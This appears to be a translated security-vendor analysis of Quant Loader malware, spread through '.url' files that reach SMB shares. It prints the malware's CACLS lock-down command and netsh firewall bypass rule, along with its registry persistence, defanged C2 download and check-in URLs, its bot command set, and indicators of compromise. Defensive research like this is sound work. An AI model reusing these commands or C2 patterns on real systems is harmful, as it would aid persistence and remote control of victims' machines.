Noong nakaraang linggo, nag-blog kami tungkol sa paglitaw ng isang bagong attack vector na '.url' na ginagamit upang magkalat ng malware. Sa blog post na ito, susuriin namin nang malalim ang attack chain ng '.url' vector na ito at ipapaliwanag ang Quant Loader malware na aktibong gumagamit nito.
Tingnan natin ang chain ng pag-atake sa ibaba na naglalarawan sa pagkakasunod-sunod ng pagpapatupad na naobserbahan sa pag-atakeng ito kung saan ginagamit ang isang ".url" na file upang maikalat ang malware.
Ang sumusunod ay ang larawan ng buod ng proseso ng chain ng pag-atake.
Tulad ng ipinaliwanag sa itaas, karaniwang naglalaman ang ".url" ng URL ("https://" o "https://"), ngunit sa kasong ito, naobserbahan namin ang mga pagbabahagi ng SMB na ina-access upang magsagawa ng nakakahamak na JavaScript.
Ang file sa itaas ay nauugnay sa CVE-2016-3353 kung saan ang isang Internet Explorer ay nagkakamali sa pangangasiwa ng mga '.url' na file mula sa Internet zone at nagbibigay-daan sa mga malayuang umaatake na lampasan ang nilalayong mga paghihigpit sa pag-access sa pamamagitan ng isang ginawang file.
Ang mga pagbabahagi ng SMB na ito ay naa-access ng publiko at maaaring ma-access nang walang pagpapatunay. Ipinapakita ng Fig 3 at 4 ang pampublikong lokasyon ng pagbabahagi ng SMB na "buyviagraoverthecounterusabb[.]net/documents/" kung saan naka-store ang mga nakakahamak na JavaScript file. Ang nakakahamak na SMB share location IP address ay “91.102.153.90”.
Ang sumusunod na figure ay nagpapakita ng isang nakakahamak na JavaScript na inihahatid sa biktima sa pamamagitan ng SMB protocol.
Sa pagbubukas ng nakakahamak na JavaScript, binubuksan ito ng 'wscript.exe' na application.
Ang pangalawang yugto ng malware ay dina-download ng isang nakakahamak na JavaScript kapag ang biktima ay nag-click sa 'Buksan', tulad ng ipinapakita sa Fig 5. Ang nakakahamak na JavaScript na ito ay lubos na na-obfuscate at ginagamit lamang bilang unang yugto ng pag-download.
Ang ikalawang yugto ng malware ay dina-download sa lokasyong '%TEMP%' ng JavaScript at inilalabas sa pamamagitan ng 'cmd.exe'. Ito ay isang executable na lubhang natatakpan ng impormasyon na direktang pinapatakbo sa memorya. Ang malware na ito ay tila isang variant ng ' Quant Loader ' at maaaring gamitin upang mag-download ng iba pang malware. Sa panahon ng pagsusuri ng Quick Heal Security Labs, wala kaming nakitang malware na na-download ng Quant Loader. Tingnan natin ang paggana ng Quant Loader malware.
Sinusuri ng Quant Loader malware ang lahat ng lokal na keyboard ng system sa pamamagitan ng “Keyboard Layout\Preload”. Lalabas ito kung ang lokal ay alinman sa Russian, Ukraine, at Kazakhstan.
Ginagamit ng Quant Loader ang sumusunod na registry key upang matukoy ang 32/64 bit configuration ng system ng biktima. Pagkatapos ay ginagamit nito ang parehong impormasyon bilang bahagi ng kahilingan ng CNC habang nakikipag-ugnayan sa server ng CnC.
HKLM\ SOFTWARE \ Microsoft \ Windows \ CurrentVersion ProgramFilesDir (x86)
Sinusuri din nito ang pagkakaroon ng mga sumusunod na entry sa pagpapatala.
Nag-drop ito ng self-copy sa pangalang 'dwm.exe' sa ' \<8DigitNumeric>' na folder at itinatakda ang pareho para sa auto execution sa pamamagitan ng “Run” entry sa registry. Ginagawa ito upang makamit ang pagtitiyaga sa sistema.
Ang 8 Digit Number na ito ay ginagamit bilang Bot ID (BotId) habang nakikipag-ugnayan sa CNC Server. Binubuo nito ang BotId sa pamamagitan ng mga sumusunod na hakbang:
- Basahin ang 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid'
- Kinukuha lang ang mga digit mula sa value ng Machine ID sa nagaganap na sequence
- Alisin ang unang 5 numero at isaalang-alang ang 8 digit mula 5 pataas
Binago nito ang pahintulot sa pag-access ng user ng 8 digit na folder at 'dwm.exe' na file upang basahin ang mode para sa naka-log-in na user. Pinaghihigpitan nito ang user na tanggalin o baguhin ang folder at 'dwm.exe'. Ito ay nakakamit sa pamamagitan ng paggamit ng isang tunay na CACLS windows file sa pamamagitan ng sumusunod na command.
cmd /c echo Y|CACLS “c:\users\ \appdata\roaming\48378942\dwm.exe” /P “ :R”
Pagkatapos, idinaragdag ng Quant Loader ang panuntunan sa ibaba sa Firewall na may pangalang "Quant" na nagpapahintulot sa malware na makipag-usap sa Internet na lumalampas sa mga panuntunan ng Firewall.
netsh advfirewall firewall add rule name=”Quant” program=”c:\users\ \appdata\roaming\48378942\dwm.exe” dir=Out action=allow
Sinusubukan din nitong kumonekta sa CNC domain na 'wassronledorhad[.]in' at mag-download ng iba pang mga nakakahamak na file.
Hindi tumutugon ang CNC noong isinagawa ang pagsusuri. Gayunpaman, ang static na pagsusuri ay nagbibigay ng ilang mga insight sa posibleng komunikasyon ng CNC at iba pang functionality ng Quant Loader.
Ang mga file sa ibaba ay nai-download sana kung ang CNC server ay buhay.
hxxp://wassronledorhad.in/q2/lib/zs.dll.c
hxxp://wassronledorhad.in/q2/lib/bs.dll.c
hxxp://wassronledorhad.in/q2/lib/sql.dll.c
Ang mga file na ito ay naka-store sa %APPDATA%\z folder bilang zs.dll, bs.dll at sqlite3.dll ayon sa pagkakabanggit.
Sinusuri nito ang laki ng mga file ng 'zs.dll' at 'sqlite3.dll' nang mas mababa sa 0x20000. Pagkatapos ay ipapatupad nito ang function na "Main" mula sa zs.dll.
Sinubukan ng Quant Loader na ipadala ang mga sumusunod na kahilingan sa CNC Server.
hxxp://wassronledorhad[.]in/q2/index.php?id=48378942&c=2&mk=75490e&il=H&vr=1.73&bt=32
Kung saan ang id = BotId, c = request counter, bt = 32/64 bit system
Naghihintay ito para sa utos mula sa CNC server na may sumusunod na istraktura:
[BotId][Command][Data]
Ang utos ay maaaring alinman sa mga sumusunod - "pwd", "exe", "doc", "dll".
Ang command na "pwd" ay natagpuan din na nagpapatupad ng zs.dll gamit ang "Main" na function.
Para sa iba pang mga command, ang malware ay gumagawa ng isang file na may pangalan bilang windows timestamp sa 'temp' na folder.
Kung ang command ay "exe" pagkatapos ay ipapatupad nito ang file gamit ang ShellExecute API.
Kung ang command ay "doc" pagkatapos ay ipapatupad nito ang file gamit ang WinExec API.
Kung ang utos ay "dll" pagkatapos ay gumagamit ito ng "LoadLibrary" at "GetProcaddress" upang maisagawa ang nais na function mula sa dll tulad ng nakikita sa fig 13 na ibinigay kanina.
Kaya, depende sa mga utos, maaaring mag-download ang bot ng iba pang malisyosong file at isagawa ang mga ito.
Ang '.Url' attack vector ay kasalukuyang ginagamit ng Quant Loader. Maaari kaming makakita ng pagtaas sa paggamit ng baguhang attack vector na ito (.url) ng iba pang mga pamilya ng malware sa mga darating na araw.
Mga tagapagpahiwatig ng kompromiso:
50C359167CC74A962CACAFF2A795B23C
4394536E9A53B94A2634C68043E76EF8
buyviagraoverthecounterusabb[.]net/documents/B200795218387[.]js
91.102.153.90
Mga Dalubhasa sa Mahalagang Paksa
- Pradeep Kulkarni, Amar Patil, Aniruddha Dolas | Quick Heal Security Labs
